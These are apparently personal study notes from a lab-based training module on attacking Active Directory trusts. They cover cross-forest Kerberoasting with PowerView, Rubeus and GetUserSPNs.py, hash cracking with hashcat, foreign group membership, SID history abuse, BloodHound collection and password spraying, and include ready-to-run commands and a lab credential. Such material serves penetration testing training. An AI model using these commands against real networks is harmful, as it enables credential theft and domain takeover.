X-forest kerberoasting, from Windows
Kerbroasting and asreproasting can be performed across trusts (depending on direction)
- suppose:
- position in domain with an inbound/bidir domain or forest trust potential to attack for foothold
sometimes you cannot privesc in current dom, but can obtain a kerb ticket and crack a hash for admin in another domain
We can use powerview to enumerate accounts in a traget domain with SPNs associated with them
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof
- find 1 spn
- member of DA grp in trgt domain
- kerberoast it
we can kerberoast across trust using Rubeus
use tool as normal but include /domain: flag to specify target domain
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
and crack with hashcat like usual
Admin Password Reuse & Group membership
- bidir forest trust
- mngd by admins in same company
- takeover domA and obtain cleartext pws / NT hashes
- built-in admin
- or account in enterprise admin / domain admin group in DomA
- domB has priv'd account with same name
- check password reuse!
in the same scenario above:
- may see users/admins in domA members of group in domB
- only
domain local groupsallow security principals from outside its' forest - may see a Domain Admin from DomA as member of built-in admin group in domB in a bidir forest trust relationship
- if we comp. this user in domA , we would get full admin access to domB based on group membership
use PowerView's Get-DomainForeignGroupMember to enumerate grps with users that do not belong to the domain.
foreign group membership
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
GroupDomain : FREIGHTLOGISTICS.LOCAL
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=FREIGHTLOGISTICS,DC=LOCAL
MemberDomain : FREIGHTLOGISTICS.LOCAL
MemberName : S-1-5-21-3842939050-3880317879-2865463114-500
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=FREIGHTLOGIS
TICS,DC=LOCAL
PS C:\htb> Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500
INLANEFREIGHT\administrator
above shows built-in Admin group in FREIGHTLOGISTICS.LOCAL has built-in admin account for the INLANEFREIGHT.LOCAL domain as a member
verify using Enter-PSSession cmdlet and connect over winRM to DC03
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator
[...]
whoami
ipconfig /all
SID History abuse cross forest
Sid history can also be abused across forest trusts. If users are migrated from one forest to another and SID Filtering not enabled we can add sid from the other forest.
- sid added to user token when auth across trust
If SID of acct with admin priv in ForestA is added to SID History attribute of acct in ForestB - assuming we can auth across the forest - then account will have administrative privs when accessing partner forest

jjones from inlanefreight.local domain migrated to corp.local domain in a different forest
- if sid filtering disabled when migration is done and user had admin privs in
inlanefreight.localthey will retain admin rights/access ininlanefreight.localwhile being member of newcorp.localdomain in second forest
Cross-Forest Trust Abuse from Linux
use GetUserSPNs.py
- require creds for user that can auth to other domain and specify
-target-domain
Performing this against FREIGHTLOGISTICS.LOCAL we see one SPN entry for the mssqlsvc account.
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
Rerun command with -request added for the TGS ticket.
We can also use -outputfile <output> for hashcat
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
use mode 13100 with hashcat
then we can login to freightlogistics.local as a domain admin
if we do this in a realworld assssment check if account exists in current domain with the same pw
Suppose we can Kerberoast across a trust and have run out of options in the current domain. In that case, it could also be worth attempting a single password spray with the cracked password, as there is a possibility that it could be used for other service accounts if the same admins are in charge of both domains. Here, we have yet another example of iterative testing and leaving no stone unturned.
Hunting foreign group membership across forests with bloodhound
We may see users/admins from one domain as members of a group in another domain.
Only Domain Local Groups alalow users from outside their forest
- Because of this it isnt uncommon to see highly privileged users from DomA as member of built-in admin group in DomB (in bidir forest relationship)
W/ linux we can use python implementation of bloodhound https://github.com/fox-it/BloodHound.
On some assessments, our client may provision a VM for us that gets an IP from DHCP and is configured to use the internal domain's DNS.
We will be on an attack host without DNS configured in other instances.
- In this case, we would need to edit our
resolv.conffile to run this tool since it requires a DNS hostname for the target Domain Controller instead of an IP address. We can edit the file as follows using sudo rights. Here we have commented out the current nameserver entries and added the domain name and the IP address ofACADEMY-EA-DC01as the nameserver.
cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
# 127.0.0.53 is the systemd-resolved stub resolver.
# run "resolvectl status" to see details about the actual nameservers.
#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5
Client may provision us a VM that gets IP from dhcp and uses internal domain's DNS In other instances, atk host without dns. In which case we edit resolv.conf
domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5
and run py collector
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
Upload the data and check
Users with Foreign Domain Group Membership under analysis tab;
SELECT SOURCE DOMAIN as INLANEFREIGHT.LOCAL
We should see built-in admin acct for inlanefreight.local is a member of the built-in admin group in the freightlogistics.local domain we saw earlier.
Closing Thoughts on Trusts
As seen in the past few sections, there are several ways to leverage domain trusts to gain additional access and even do an "end-around" and escalate privileges in our current domain. For example, we can take over a domain that our current domain has a trust with, and find password re-use across privileged accounts. We've seen how Domain Admin rights in a child domain nearly always mean we can escalate privileges and compromise the parent domain using the ExtraSids attack. Domain trusts are a rather large and complex topic. The primer in this module has given us the tools to enumerate trusts and perform some standard intra-forest and cross-forest attacks.